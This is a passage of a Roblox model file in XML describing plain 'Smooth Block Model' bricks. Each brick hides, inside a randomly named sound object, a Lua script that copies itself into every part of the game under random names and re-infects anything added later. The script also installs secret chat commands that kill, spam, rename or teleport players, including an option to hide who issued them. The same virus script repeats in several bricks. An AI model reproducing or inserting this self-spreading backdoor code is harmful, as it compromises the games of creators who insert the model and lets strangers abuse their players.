end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX826">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-168</X>
					<Y>26.1999989</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX827">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX828">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX829">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-163</X>
					<Y>28.1999989</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX830">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX831">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
